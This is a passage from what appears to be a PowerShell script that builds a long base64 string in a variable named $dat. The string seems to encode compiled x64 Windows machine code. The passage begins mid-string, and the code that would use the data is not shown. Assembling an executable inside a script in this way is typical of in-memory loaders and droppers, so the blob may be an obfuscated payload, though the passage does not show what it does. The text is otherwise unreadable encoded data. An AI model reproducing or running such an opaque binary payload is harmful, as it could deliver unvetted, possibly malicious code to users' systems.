JCBVVldBVEFVQVZBV0iNrCTQ/f//SIHsMAMAAEiLBV4VAQBIM8RIiYUgAgAATYvgSIvxSLsBCAAAACAAAEg70XQiigIsLzwtdwpID77ASA+jw3IQSIvO6JUzAABIi9BIO8Z13kSKAkGA+Dp1HkiNRgFIO9B0FU2LzEUzwDPSSIvO6O/9///pVgIAAEGA6C8z/0GA+C13DEkPvsBID6PDsAFyA0CKx0gr1kiJfaBI/8JIiX2o9thIiX2wSI1MJDBIiX24TRvtSIl9wEwj6kCIfcgz0uhR6///SItEJDhBv+n9AABEOXgMdRhAOHwkSHQMSItEJDCDoKgDAAD9RYvH6zroJxQAAIXAdRtAOHwkSHQMSItEJDCDoKgDAAD9QbgBAAAA6xZAOHwkSHQMSItEJDCDoKgDAAD9RIvHSI1VoEiLzug';
$dat += 'e+P//SItNsEyNRdCFwIl8JChIiXwkIEgPRc9FM8kz0v8VyHUAAEiL2EiD+P91F02LzEUzwDPSSIvO6PP8//+L+OlHAQAATYt0JAhNKzQkScH+AzPSSIl8JHBIjUwkUEiJfCR4SIl9gEiJfYhIiX2QQIh9mOht6v//SItEJFhEOXgMdRhAOHwkaHQMSItEJFCDoKgDAAD9RYvH6zroSRMAAIXAdRtAOHwkaHQMSItEJFCDoKgDAAD9QbgBAAAA6xZAOHwkaHQMSItEJFCDoKgDAAD9RIvHSI1UJHBIjU386Lb4//9Mi32AhcBJi89ID0XPgDkudRGKQQGEwHQgPC51BkA4eQJ0Fk2LzE2LxUiL1ugd/P//i/iFwHVbM/9AOH2YdAhJi8/oH+v//0iNVdBIi8v/FVZzAABBv+n9AACFwA+FDf///0mLBCRJi1QkCEgr0EjB+gNMO/J0KUkr1kqNDPBMjQ2l9v//QbgIAAAA6FIoAADrDoB9mAB0CEmLz+jG6v//SIvL/xURcwAAgH3IAHQJSItNsOiu6v//i8dIi40gAgAASDPM6Lm5//9Ii5wkiAMAAEiBxDADAABBX0FeQV1BXF9eXcPMzOlX+f//zMzMSIlcJAhIiWwkEEiJdCQYV0iD7EAz20GL6EiL+kiL8UiFyXUZOFoodAOIWihIiVoQSIlaGEiJWiDpvQAAAGY5GXUwSDlaGHUiOFoodAOIWijoT/X//7kiAAAAiQiIXyhIiV8Yi9npkAAAAEiLQhCIGOvCSIlcJDhBg8n/SIlcJDBMi8aJXCQoM9KLzUiJXCQg6A8NAABIY9CFwHUW/xXycQAAi8joi/T//+j29P//ixjrSEiLTxhIO9F2CjhfKHSQiF8o64tIi0cQQYPJ/0iJXCQ4TIvGSIlcJDAz0olMJCiLzUiJRCQg6LgMAABIY8iFwHSpSP/JSIlPIEiLbCRYi8NIi1wkUEiLdCRgSIPEQF/DzMzMSIlcJBBIiXwkGFVIjawkcP7//0iB7JACAABIiwU3EQEASDPESImFgAEAAEGL+EiL2kG4BQEAAEiNVCRw/xWucgAAhcB1FP8VNHEAAIvI6M3z//8zwOmgAAAASINkJGAASI1MJCBIi8dIiVwkQDPSSIlEJEhIiUQkWEiJXCRQxkQkaADoeOf//0iLRCQoQbjp/QAARDlADHUVgHwkOAB0R0iLRCQgg6CoAwAA/es56FEQAACFwHUaOEQkOHQMSItEJCCDoKgDAAD9QbgBAAAA6xaAfCQ4AHQMSItEJCCDoKgDAAD9RTPASI1UJEBIjUwkcOj2/f//i0QkYEiLjYABAABIM8zod7f//0yNnCSQAgAASYtbGEmLeyBJi+Ndw8zMSIlcJAhMiUwkIFdIg+wgSYv5SYvYiwrodO///5BIiwNIiwhIi4GIAAAASIPAGEiLDfskAQBIhcl0b0iFwHRdQbgCAAAARYvIQY1Qfg8QAA8RAQ8QSBAPEUkQDxBAIA8RQSAPEEgwDxFJMA8QQEAPEUFADxBIUA8RSVAPEEBgDxFBYEgDyg8QSHAPEUnwSAPCSYPpAXW2igCIAesnM9JBuAEBAADoZ8j//+jC8v//xwAWAAAA6Jfx//9BuAIAAABBjVB+SIsDSIsISIuBiAAAAEgFGQEAAEiLDVskAQBIhcl0XkiFwH';
$dat += 'RMDxAADxEBDxBIEA8RSRAPEEAgDxFBIA8QSDAPEUkwDxBAQA8RQUAPEEhQDxFJUA8QQGAPEUFgSAPKDxBIcA8RSfBIA8JJg+gBdbbrHTPSQbgAAQAA6NDH///oK/L//8cAFgAAAOgA8f//SItDCEiLCEiLEYPI//APwQKD+AF1G0iLQwhIiwhIjQUcDwEASDkBdAhIiwnow+b//0iLA0iLEEiLQwhIiwhIi4KIAAAASIkBSIsDSIsISIuBiAAAAPD/AIsP6DXu//9Ii1wkMEiDxCBfw8zMQFNIg+xAi9kz0kiNTCQg6BDl//+DJXEjAQAAg/v+dRLHBWIjAQABAAAA/xUUcAAA6xWD+/11FMcFSyMBAAEAAAD/FfVvAACL2OsXg/v8dRJIi0QkKMcFLSMBAAEAAACLWAyAfCQ4AHQMSItMJCCDoagDAAD9i8NIg8RAW8PMzMxIiVwkCEiJbCQQSIl0JBhXSIPsIEiNWRhIi/G9AQEAAEiLy0SLxTPS6KfG//8zwEiNfgxIiUYEuQYAAABIiYYgAgAAD7fAZvOrSI09BA4BAEgr/ooEH4gDSP/DSIPtAXXySI2OGQEAALoAAQAAigQ5iAFI/8FIg+oBdfJIi1wkMEiLbCQ4SIt0JEBIg8QgX8NIiVwkEEiJdCQYVUiNrCSA+f//SIHsgAcAAEiLBUsNAQBIM8RIiYVwBgAASIvZi0kEgfnp/QAAD4Q9AQAASI1UJFD/FfRuAACFwA+EKgEAADPASI1MJHC+AAEAAIgB/8BI/8E7xnL1ikQkVkiNVCRWxkQkcCDrIEQPtkIBD7bI6ws7znMMxkQMcCD/wUE7yHbwSIPCAooChMB13ItDBEyNRCRwg2QkMABEi86JRCQougEAAABIjYVwAgAAM8lIiUQkIOixKwAAg2QkQABMjUwkcItDBESLxkiLkyACAAAzyYlEJDhIjUVwiXQkMEiJRCQoiXQkIOgmMAAAg2QkQABMjUwkcItDBEG4AAIAAEiLkyACAAAzyYlEJDhIjYVwAQAAiXQkMEiJRCQoiXQkIOjtLwAAuAEAAABIjZVwAgAA9gIBdAuATBgYEIpMBW/rFfYCAnQOgEwYGCCKjAVvAQAA6wIyyYiMGBgBAABIg8ICSP/ASIPuAXXH60Mz0r4AAQAAjUoBRI1Cn0GNQCCD+Bl3CoBMCxgQjUIg6xJBg/gZdwqATAsYII1C4OsCMsCIhAsYAQAA/8JI/8E71nLHSIuNcAYAAEgzzOjIsv//TI2cJIAHAABJi1sYSYtzIEmL413DzMzMSIlcJAhMiUwkIEyJRCQYVVZXSIvsSIPsQECK8ovZSYvRSYvI6JcBAACLy+jc/P//SItNMIv4TIuBiAAAAEE7QAR1BzPA6bgAAAC5KAIAAOiA4///SIvYSIXAD4SVAAAASItFMLoEAAAASIvLSIuAiAAAAESNQnwPEAAPEQEPEEgQDxFJEA8QQCAPEUEgDxBIMA8RSTAPEEBADxFBQA8QSFAPEUlQDxBAYA8RQWBJA8gPEEhwSQPADxFJ8EiD6gF1tg8QAA8RAQ8QSBAPEUkQSItAIEiJQSCLzyETSIvT6BECAACL+IP4/3Ul6NHt///HABYAAACDz/9Ii8volOL//4vHSItcJGBIg8RAX15dw0CE9nUF6HcbAABIi0UwSIuIiAAAAIPI//APwQGD+AF1HEiLRTBIi4iIAAAASI0';
$dat += 'FngoBAEg7yHQF6Eji///HAwEAAABIi8tIi0UwM9tIiYiIAAAASItFMIuIqAMAAIUNJhIBAHWESI1FMEiJRfBMjU3kSI1FOEiJRfhMjUXwjUMFSI1V6IlF5EiNTeCJRejorvn//0CE9g+ETf///0iLRThIiwhIiQ3HEAEA6Tr////MzEiJXCQQSIl0JBhXSIPsIEiL8kiL+YsFvREBAIWBqAMAAHQTSIO5kAAAAAB0CUiLmYgAAADrZLkFAAAA6ODo//+QSIufiAAAAEiJXCQwSDsedD5Ihdt0IoPI//APwQOD+AF1FkiNBbYJAQBIi0wkMEg7yHQF6Fvh//9IiwZIiYeIAAAASIlEJDDw/wBIi1wkMLkFAAAA6Nro//9Ihdt0E0iLw0iLXCQ4SIt0JEBIg8QgX8PoYd///5BIg+wogD0ZHgEAAHVMSI0NlAwBAEiJDfUdAQBIjQVGCQEASI0NbwsBAEiJBegdAQBIiQ3RHQEA6BDm//9MjQ3VHQEATIvAsgG5/f///+g2/f//xgXLHQEAAbABSIPEKMNIg+wo6A/l//9Ii8hIjRWlHQEASIPEKOnM/v//SIlcJBhVVldBVEFVQVZBV0iD7EBIiwV5CAEASDPESIlEJDhIi/Lo7fn//zPbi/iFwA+EUwIAAEyNLf4MAQBEi/NJi8WNawE5OA+ETgEAAEQD9UiDwDBBg/4FcuuB/+j9AAAPhC0BAAAPt8//FdtpAACFwA+EHAEAALjp/QAAO/h1LkiJRgRIiZ4gAgAAiV4YZoleHEiNfgwPt8O5BgAAAGbzq0iLzuh9+v//6eIBAABIjVQkIIvP/xWnaQAAhcAPhMQAAAAz0kiNThhBuAEBAADolsD//4N8JCACiX4ESImeIAIAAA+FlAAAAEiNTCQmOFwkJnQsOFkBdCcPtkEBD7YRO9B3FCvCjXoBjRQogEw3GAQD/Ugr1XX0SIPBAjgZddRIjUYauf4AAACACAhIA8VIK8119YtOBIHppAMAAHQug+kEdCCD6Q10EjvNdAVIi8PrIkiLBXF9AADrGUiLBWB9AADrEEiLBU99AADrB0iLBT59AABIiYYgAgAA6wKL64luCOkL////OR0VHAEAD4X1AAAAg8j/6fcAAAAz0kiNThhBuAEBAADovr///0GLxk2NTRBMjT1wCwEAQb4EAAAATI0cQEnB4wRNA8tJi9FBOBl0PjhaAXQ5RA+2Ag+2QgFEO8B3JEWNUAFBgfoBAQAAcxdBigdEA8VBCEQyGEQD1Q+2QgFEO8B24EiDwgI4GnXCSYPBCEwD/Uwr9XWuiX4EiW4Ige+kAwAAdCmD7wR0G4PvDXQNO/11IkiLHYp8AADrGUiLHXl8AADrEEiLHWh8AADrB0iLHVd8AABMK95IiZ4gAgAASI1WDLkGAAAAS408Kw+3RBf4ZokCSI1SAkgrzXXv6Rn+//9Ii87oBvj//zPASItMJDhIM8zoG63//0iLnCSQAAAASIPEQEFfQV5BXUFcX15dw8zMzEiJXCQISIl0JBBXSIPsQIvaQYv5SIvRQYvwSI1MJCDoXNz//0iLRCQwD7bTQIR8Ahl1GoX2dBBIi0QkKEiLCA+3BFEjxusCM8CFwHQFuAEAAACAfCQ4AHQMSItMJCCDoagDAAD9SItcJFBIi3QkWEiDxEBfw8zMzIvRQbkEAAAAM8lFM8Dpdv///8zMSIPsKP8VGmcAAEiJBXMaAQD/FRVnAABIiQVuGgEAsAFIg8Qow8zMzIH5NcQAAHcgjYHUO///g/gJdwxBuqcCAABBD6PCcgWD+Sp1LzPS6yuB+ZjWAAB0IIH5qd4AAHYbgfmz3gAAdu';
$dat += 'SB+ej9AAB03IH56f0AAHUDg+IISP8lsmYAAMzMSIlcJAhXjYEYAv//RYvZg/gBSYvYQQ+WwjP/gfk1xAAAdxyNgdQ7//+D+Al3DEG4pwIAAEEPo8ByM4P5KusmgfmY1gAAdCaB+aneAAB2GIH5s94AAHYWgfno/QAAdA6B+en9AAB0Bg+68gfrAovXSItEJEhFhNJMi0wkQEyLwEwPRcdMD0XPdAdIhcB0Aok4TIlEJEhMi8NMiUwkQEWLy0iLXCQQX0j/JQtmAADMzMxIi8RIiVgISIloEEiJcBhIiXggQVZIg+xA/xXxZQAARTP2SIvYSIXAD4SkAAAASIvwZkQ5MHQcSIPI/0j/wGZEOTRGdfZIjTRGSIPGAmZEOTZ15EyJdCQ4SCvzTIl0JDBIg8YCSNH+TIvDRIvORIl0JCgz0kyJdCQgM8no0P7//0hj6IXAdEtIi83o1dv//0iL+EiFwHQuTIl0JDhEi85MiXQkMEyLw4lsJCgz0jPJSIlEJCDol/7//4XAdAhIi/dJi/7rA0mL9kiLz+hU2///6wNJi/ZIhdt0CUiLy/8VNWUAAEiLXCRQSIvGSIt0JGBIi2wkWEiLfCRoSIPEQEFew8zMzEiJXCQISIlsJBBIiXQkGFdIg+wgSYvoSIvaSIvxSIXSdB0z0kiNQuBI9/NJO8BzD+gX5v//xwAMAAAAM8DrQUiF9nQK6C8nAABIi/jrAjP/SA+v3UiLzkiL0+hVJwAASIvwSIXAdBZIO/tzEUgr30iNDDhMi8Mz0uhvu///SIvGSItcJDBIi2wkOEiLdCRASIPEIF/DzMzMSIlcJAhIiWwkEEiJdCQYV0FUQVVBVkFXSIPsIESL+UyNNU6S//9Ni+FJi+hMi+pLi4z+8IUBAEyLFT4CAQBIg8//QYvCSYvSSDPRg+A/ishI08pIO9cPhFsBAABIhdJ0CEiLwulQAQAATTvED4TZAAAAi3UASYuc9lCFAQBIhdt0Dkg73w+ErAAAAOmiAAAATYu09pDmAAAz0kmLzkG4AAgAAP8VS2MAAEiL2EiFwHVP/xXtYQAAg/hXdUKNWLBJi85Ei8NIjRXQcwAA6IvZ//+FwHQpRIvDSI0VHX0AAEmLzuh12f//hcB0E0UzwDPSSYvO/xX7YgAASIvY6wIz20yNNW2R//9Ihdt1DUiLx0mHhPZQhQEA6x5Ii8NJh4T2UIUBAEiFwHQJSIvL/xWyYgAASIXbdVVIg8UESTvsD4Uu////TIsVMQEBADPbSIXbdEpJi9VIi8v/FY5iAABIhcB0MkyLBRIBAQC6QAAAAEGLyIPhPyvRispIi9BI08pJM9BLh5T+8IUBAOstTIsV6QABAOu4TIsV4AABAEGLwrlAAAAAg+A/K8hI089JM/pLh7z+8IUBADPASItcJFBIi2wk';
$dat += 'WEiLdCRgSIPEIEFfQV5BXUFcX8PMzEBTSIPsIEiL2UyNDZx8AAC5HAAAAEyNBYx8AABIjRWJfAAA6AD+//9IhcB0FkiL00jHwfr///9Ig8QgW0j/JRljAAC4JQIAwEiDxCBbw8zMSIPsKEyNDd17AAAzyUyNBdB7AABIjRXRewAA6Lj9//9IhcB0C0iDxChI/yXcYgAAuAEAAABIg8Qow8zMQFNIg+wgSIvZTI0NuHsAALkDAAAATI0FpHsAAEiNFS1yAADodP3//0iFwHQPSIvLSIPEIFtI/yWUYgAASIPEIFtI/yUgYQAAQFNIg+wgi9lMjQ15ewAAuQQAAABMjQVlewAASI0V/nEAAOgt/f//i8tIhcB0DEiDxCBbSP8lTmIAAEiDxCBbSP8l6mAAAMzMQFNIg+wgi9lMjQ05ewAAuQUAAABMjQUlewAASI0VxnEAAOjl/P//i8tIhcB0DEiDxCBbSP8lBmIAAEiDxCBbSP8lmmAAAMzMSIlcJAhXSIPsIEiL2kyNDfR6AACL+UiNFZtxAAC5BgAAAEyNBdd6AADolvz//0iL04vPSIXAdAj/FbphAADrBv8V8l4AAEiLXCQwSIPEIF/DzMzMSIlcJAhIiXQkEFdIg+wgQYvwTI0No3oAAIvaTI0FknoAAEiL+UiNFVBxAAC5EgAAAOg6/P//i9NIi89IhcB0C0SLxv8VW2EAAOsG/xXjXwAASItcJDBIi3QkOEiDxCBfw8zMzEiJXCQISIlsJBBIiXQkGFdIg+xQQYvZSYv4i/JMjQ09egAASIvpTI0FK3oAAEiNFSx6AAC5FAAAAOjO+///SIXAdFJMi4QkoAAAAESLy0iLjCSYAAAAi9ZMiUQkQEyLx0iJTCQ4SIuMJJAAAABIiUwkMIuMJIgAAACJTCQoSIuMJIAAAABIiUwkIEiLzf8VrWAAAOsyM9JIi83oPQAAAIvIRIvLi4QkiAAAAEyLx4lEJCiL1kiLhCSAAAAASIlEJCD/FclfAABIi1wkYEiLbCRoSIt0JHBIg8RQX8NIiVwkCFdIg+wgi/pMjQ2JeQAASIvZSI0Vf3kAALkWAAAATI0Fa3kAAOgC+///SIvLSIXAdAqL1/8VJmAAAOsF6IMiAABIi1wkMEiDxCBfw0iJfCQISI09OBMBAEiNBUEUAQBIO8dIiwU//QAASBvJSPfRg+Ei80irSIt8JAiwAcPMzMxAU0iD7CCEyXUvSI0dXxIBAEiLC0iFyXQQSIP5/3QG/xVrXgAASIMjAEiDwwhIjQXcEgEASDvYddiwAUiDxCBbw8zMzEiD7Cj/FVpdAABIhcBIiQXIEwEAD5XASIPEKMNIgyW4EwEAALABw8xIi8RIiVgISIloEEiJcBhIiXggQVZIgeyQAAAASI1IiP8Vpl0AAEUz9mZEOXQkYg+EmgAAAEiLRCRoSIXAD4SMAAAASGMYSI1wBL8AIAAASAPeOTgPTDiLz+giIwAAOz1gFwEAD089WRcBAIX/dGBBi+5Igzv/dEdIgzv+dEH2BgF0PPYGCHUNSIsL/xVDXAAAhcB0KkiLxUyNBSUTAQBIi81IwfkGg+A/SYsMyEiNFMBIiwNIiUTRKIoGiETROEj/xUj/xkiDwwhIg+8BdaNMjZwkkAAAAEmLWxBJi2sYSYtzIEmLeyhJi+NBXsPMzMxIi8RIiVgISIloEEiJcBhIiXggQVZIg+wgM/ZFM/ZIY85IjT2sEgEASIvBg+E/SMH4BkiNHMlIizzHSItE3yhIg8ACSIP4AXYKgEzfOIDpjwAAAMZE3ziBi86F9nQWg+kBdAq';
$dat += 'D+QG59P///+sMufX////rBbn2/////xXFWwAASIvoSI1IAUiD+QF2C0iLyP8VT1sAAOsCM8CFwHQgD7bISIls3yiD+QJ1B4BM3zhA6zGD+QN1LIBM3zgI6yWATN84QEjHRN8o/v///0iLBUoWAQBIhcB0C0mLBAbHQBj+/////8ZJg8YIg/4DD4Ut////SItcJDBIi2wkOEiLdCRASIt8JEhIg8QgQV7DQFNIg+wguQcAAADoCNr//zPbM8noayEAAIXAdQzo4v3//+jN/v//swG5BwAAAOg52v//isNIg8QgW8PMSIlcJAhXSIPsIDPbSI09eREBAEiLDDtIhcl0CujXIAAASIMkOwBIg8MISIH7AAQAAHLZSItcJDCwAUiDxCBfw0iJXCQISIl0JBBXSIPsIEiL8kiL+Ug7ynRUSIvZSIsDSIXAdAr/FdFcAACEwHQJSIPDEEg73nXlSDvedDFIO990KEiDw/hIg3v4AHQQSIsDSIXAdAgzyf8Vn1wAAEiD6xBIjUMISDvHddwywOsCsAFIi1wkMEiLdCQ4SIPEIF/DSIlcJAhXSIPsIEiL2kiL+Ug7ynQaSItD+EiFwHQIM8n/FVZcAABIg+sQSDvfdeZIi1wkMLABSIPEIF/DSIkNkRQBAMNAU0iD7CBIi9noIgAAAEiFwHQUSIvL/xUcXAAAhcB0B7gBAAAA6wIzwEiDxCBbw8xAU0iD7CAzyeib2P//kEiLHTv5AACLy4PhP0gzHT8UAQBI08szyejR2P//SIvDSIPEIFvDSIlcJAhMiUwkIFdIg+wgSYv5iwroW9j//5BIix37+AAAi8uD4T9IMx0XFAEASNPLiw/okdj//0iLw0iLXCQwSIPEIF/DzMzMTIvcSIPsKLgDAAAATY1LEE2NQwiJRCQ4SY1TGIlEJEBJjUsI6I////9Ig8Qow8zMSIkNtRMBAEiJDbYTAQBIiQ23EwEASIkNuBMBAMPMzMxIiVwkIFZXQVRBVUFWSIPsQIvZRTPtRCFsJHhBtgFEiHQkcIP5AnQhg/kEdEyD+QZ0F4P5CHRCg/kLdD2D+Q90CI1B64P4AXd9g+kCD4SvAAAAg+kED4SLAAAAg+kJD4SUA';
$dat += 'AAAg+kGD4SCAAAAg/kBdHQz/+mPAAAA6OrV//9Mi+hIhcB1GIPI/0iLnCSIAAAASIPEQEFeQV1BXF9ew0iLAEiLDVRrAABIweEESAPI6wk5WAR0C0iDwBBIO8F18jPASIXAdRLo8dr//8cAFgAAAOjG2f//665IjXgIRTL2RIh0JHDrIkiNPb8SAQDrGUiNPa4SAQDrEEiNPbUSAQDrB0iNPZQSAQBIg6QkgAAAAABFhPZ0C7kDAAAA6LzW//+QSIs3RYT2dBJIiwVU9wAAi8iD4T9IM/BI085Ig/4BD4SUAAAASIX2D4QDAQAAQbwQCQAAg/sLdz1BD6PcczdJi0UISImEJIAAAABIiUQkMEmDZQgAg/sIdVPobdP//4tAEIlEJHiJRCQg6F3T///HQBCMAAAAg/sIdTJIiwViagAASMHgBEkDRQBIiw1bagAASMHhBEgDyEiJRCQoSDvBdB1Ig2AIAEiDwBDr60iLBbD2AABIiQfrBkG8EAkAAEWE9nQKuQMAAADoQtb//0iD/gF1BzPA6Y7+//+D+wh1Gejn0v//i1AQi8tIi8ZMiwUoWQAAQf/Q6w6Ly0iLxkiLFRdZAAD/0oP7C3fIQQ+j3HPCSIuEJIAAAABJiUUIg/sIdbHopNL//4tMJHiJSBDro0WE9nQIjU4D6NLV//+5AwAAAOiYwv//kMzMzEiLFRH2AACLykgzFUARAQCD4T9I08pIhdIPlcDDzMzMSIkNKREBAMNIixXp9QAATIvBi8pIMxUVEQEAg+E/SNPKSIXSdQMzwMNJi8hIi8JI/yV6WAAAzMxIiVwkCEyJTCQgV0iD7CBJi/lJi9hIiwroCwQAAJBIi1MISIsDSIsASIXAdFqLSBSLwcHoDagBdE6LwSQDPAJ1BfbBwHUKD7rhC3IE/wLrN0iLQxCAOAB1D0iLA0iLCItBFNHoqAF0H0iLA0iLCOjlAQAAg/j/dAhIi0MI/wDrB0iLQxiDCP9Iiw/opQMAAEiLXCQwSIPEIF/DzMxIiVwkCEyJTCQgVldBVkiD7GBJi/FJi/iLCuhd1P//kEiLHU0QAQBIYwU+EAEATI00w0iJXCQ4STveD4SIAAAASIsDSIlEJCBIixdIhcB0IYtIFIvBwegNqAF0FYvBJAM8AnUF9sHAdQ4PuuELcgj/AkiDwwjru0iLVxBIi08ISIsHTI1EJCBMiUQkQEiJRCRISIlMJFBIiVQkWEiLRCQgSIlEJChIiUQkMEyNTCQoTI1EJEBIjVQkMEiNjCSIAAAA6J7+///rqYsO6AHU//9Ii5wkgAAAAEiDxGBBXl9ew4hMJAhVSIvsSIPsQINlKABIjUUog2UgAEyNTeBIiUX';
$dat += 'oTI1F6EiNRRBIiUXwSI1V5EiNRSBIiUX4SI1NGLgIAAAAiUXgiUXk6NT+//+AfRAAi0UgD0VFKEiDxEBdw8zMzEiJXCQISIl0JBBXSIPsIEiL2YtJFIvBJAM8AnVL9sHAdEaLOyt7CINjEABIi3MISIkzhf9+MkiLy+gWBAAAi8hEi8dIi9boJSYAADv4dArwg0sUEIPI/+sRi0MUwegCqAF0BfCDYxT9M8BIi1wkMEiLdCQ4SIPEIF/DzMxAU0iD7CBIi9lIhcl1CkiDxCBb6Qz////oZ////4XAdSGLQxTB6AuoAXQTSIvL6KUDAACLyOiqHAAAhcB1BDPA6wODyP9Ig8QgW8PMsQHp0f7//8xIi8RIiVgISIloEEiJcBhIiXggQVZIg+wgiwU9DgEAM9u/AwAAAIXAdQe4AAIAAOsFO8cPTMdIY8i6CAAAAIkFGA4BAOgj1v//M8lIiQUSDgEA6MnK//9IOR0GDgEAdS+6CAAAAIk98Q0BAEiLz+j51f//M8lIiQXoDQEA6J/K//9IOR3cDQEAdQWDyP/rdUiL60iNNZv5AABMjTV8+QAASY1OMEUzwLqgDwAA6Hfz//9IiwWsDQEATI0FXQkBAEiL1UjB+gZMiTQDSIvFg+A/SI0MwEmLBNBIi0zIKEiDwQJIg/kCdwbHBv7///9I/8VJg8ZYSIPDCEiDxlhIg+8BdZ4zwEiLXCQwSItsJDhIi3QkQEiLfCRISIPEIEFew8xAU0iD7CDozf7//+hAKAAAM9tIiw0rDQEASIsMC+jiKAAASIsFGw0BAEiLDANIg8Ew/xX9UgAASIPDCEiD+xh10UiLDfwMAQDos8n//0iDJe8MAQAASIPEIFvDzEiDwTBI/yW9UgAAzEiDwTBI/yW5UgAAzEiJXCQISIlsJBBIiXQkGFdIg+xQM+1Ji/BIi/pIi9lIhdIPhDgBAABNhcAPhC8BAABAOCp1EUiFyQ+EKAEAAGaJKekgAQAASYvRSI1MJDDo1Mf//0iLRCQ4gXgM6f0AAHUiTI0NfwwBAEyLxkiL10iLy+gFKQAASIvIg8j/hckPSMjrGUg5qDgBAAB1KkiF23QGD7YHZokDuQEAAABAOGwkSHQMSItEJDCDoKgDAAD9i8HpsgAAAA+2D0iNVCQ46GwoAACFwHRSSItMJDhEi0kIQYP5AX4vQTvxfCqLSQyLxUiF20yLx7oJAAAAD5XAiUQkKEiJXCQg6F/r//9Ii0wkOIXAdQ9IY0EISDvwcj5AOG8BdDiLSQjrg4vFQbkBAAAASIXbTIvHD5XAiUQkKEGNUQhIi0QkOEiJXCQgi0gM6Bfr//+FwA+FS////+hm0///g8n/xwAqAAAA6T3///9IiS2BCwEAM8BIi1wkYEiLbCRoSIt0JHBIg8RQX8PMzEUzyel4/v//QFNIg+wgSIsFKwsBAEiL2kg5AnQWi4G';
$dat += 'oAwAAhQXn9wAAdQjogAQAAEiJA0iDxCBbw8zMzEBTSIPsIEiLBb8EAQBIi9pIOQJ0FouBqAMAAIUFs/cAAHUI6Ozm//9IiQNIg8QgW8PMzMxIg+woSIXJdRXoutL//8cAFgAAAOiP0f//g8j/6wOLQRhIg8Qow8zMSIlcJAhIiXQkEEyJTCQgV0iD7DBJi/mLCuiizv//kEiNHYIKAQBIjTXT9AAASIlcJCBIjQV3CgEASDvYdBlIOTN0DkiL1kiLy+g6BAAASIkDSIPDCOvWiw/ots7//0iLXCRASIt0JEhIg8QwX8PMzLgBAAAAhwVdCgEAw0yL3EiD7Ci4BAAAAE2NSxBNjUMIiUQkOEmNUxiJRCRASY1LCOhb////SIPEKMPMzEiD7CjoG8v//0iNVCQwSIuIkAAAAEiJTCQwSIvI6KL+//9Ii0QkMEiLAEiDxCjDzIsF+gkBAMPM8P9BEEiLgeAAAABIhcB0A/D/AEiLgfAAAABIhcB0A/D/AEiLgegAAABIhcB0A/D/AEiLgQABAABIhcB0A/D/AEiNQThBuAYAAABIjRUz9QAASDlQ8HQLSIsQSIXSdAPw/wJIg3joAHQMSItQ+EiF0nQD8P8CSIPAIEmD6AF1y0iLiSABAADpeQEAAMxIiVwkCEiJbCQQSIl0JBhXSIPsIEiLgfgAAABIi9lIhcB0eUiNDeb1AABIO8F0bUiLg+AAAABIhcB0YYM4AHVcSIuL8AAAAEiFyXQWgzkAdRHorsX//0iLi/gAAADoRicAAEiLi+gAAABIhcl0FoM5AHUR6IzF//9Ii4v4AAAA6DAoAABIi4vgAAAA6HTF//9Ii4v4AAAA6GjF//9Ii4MAAQAASIXAdEeDOAB1QkiLiwgBAABIgen+AAAA6ETF//9Ii4sQAQAAv4AAAABIK8/oMMX//0iLixgBAABIK8/oIcX//0iLiwABAADoFcX//0iLiyABAADopQAAAEiNsygBAAC9BgAAAEiNezhIjQXm8wAASDlH8HQaSIsPSIXJdBKDOQB1DejaxP//SIsO6NLE//9Ig3/oAHQTSItP+EiFyXQKgzkAdQXouMT//0iDxghIg8cgSIPtAXWxSIvLSItcJDBIi2wkOEiLdCRASIPEIF/pjsT//8zMSIXJdBxIjQWsaAAASDvIdBC4AQAAAPAPwYFcAQAA/8DDuP///3/DzEiFyXQwU0iD7CBIjQV/aAAASIvZSDvIdBeLgVwBAACFwHUN6LAnAABIi8voNMT//0iDxCBbw8zMSIXJdBpIjQVMaAAASDvIdA6DyP/wD8GBXAEAAP/Iw7j///9/w8zMzEiD7ChIhckPhJYAAABBg8n/8EQBSRBIi4HgAAAASIXAdATwRAEISIuB8AAAAEiFwHQE8EQBCEiLgegAAABIhcB0BPBEAQhIi4EAAQAASIXAdATwRAEISI1BOEG4BgAAAEiNFZHyAABIOVDwdAxIixBIhdJ0BPBEAQpIg3joAHQNSItQ+EiF0nQE8EQBCkiDwCBJg+gBdclIi4kgAQAA6DX///9Ig8Qow0iJXCQIV0iD7CDoqcf//0iNuJAAAACLiKgDAACLBT7zAACFyHQISIsfSIXbdSy5BAAAAOhwyv//kEiLFVAGAQBIi8/oKAAAAEiL2LkEAAAA6KfK//9Ihdt0DkiLw0iLXCQwSIPEIF/D6DPB//+QzMxIiVwkCFdIg+wgSIv6SIXSdEZIhcl0QUiLGUg72nUFSIvH6zZIiTlIi8/oLfz//0iF23TrSIvL6Kz+//+DexAAdd1IjQUv8AAASDvYdNFIi8vokvz//+vHM8BIi1wkMEiDxCBfw8zMzEFUQVVBVkiB7FAEAABIiwVk6gAASDPESImEJBAEAABNi+FNi/BMi+lIhcl1GkiF0nQV6HnN///HABYAAADoTsz//+k4AwAATYX2dOZNheR04UiD+gIPgiQDAABIiZwkSAQAAEiJ';
$dat += 'rCRABAAASIm0JDgEAABIibwkMAQAAEyJvCQoBAAATI16/00Pr/5MA/kzyUiJTCQgZmZmDx+EAAAAAAAz0kmLx0krxUn39kiNWAFIg/sID4eLAAAATTv9dmVLjTQuSYvdSIv+STv3dyAPHwBIi9NIi89Ji8T/FVFMAACFwEgPT99JA/5JO/92402LxkmL10k733QeSSvfDx9EAAAPtgIPtgwTiAQTiApIjVIBSYPoAXXqTSv+TTv9d6RIi0wkIEiD6QFIiUwkIA+IJQIAAEyLbMwwTIu8zCACAADpXP///0jR60mLzUkPr95Ji8RKjTQrSIvW/xXSSwAAhcB+KU2LzkyLxkw77nQeDx8AQQ+2AEmL0Egr0w+2CogCQYgISf/ASYPpAXXlSYvXSYvNSYvE/xWWSwAAhcB+Kk2LxkmL100773QfTYvNTSvPkA+2AkEPtgwRQYgEEYgKSI1SAUmD6AF16EmL10iLzkmLxP8VWUsAAIXAfi1Ni8ZJi9dJO/d0IkyLzk0rzw8fQAAPtgJBD7YMEUGIBBGICkiNUgFJg+gBdehJi91Ji/9mkEg783YdSQPeSDvecxVIi9ZIi8tJi8T/FQRLAACFwH7l6x5JA95JO993FkiL1kiLy0mLxP8V50oAAIXAfuUPHwBIi+9JK/5IO/52E0iL1kiLz0mLxP8VxkoAAIXAf+JIO/tyOE2LxkiL13QeTIvLTCvPD7YCQQ+2DBFBiAQRiApIjVIBSYPoAXXoSDv3SIvDSA9FxkiL8Oll////SDv1cyBJK+5IO+52GEiL1kiLzUmLxP8VaUoAAIXAdOXrHg8fAEkr7kk77XYTSIvWSIvNSYvE/xVJSgAAh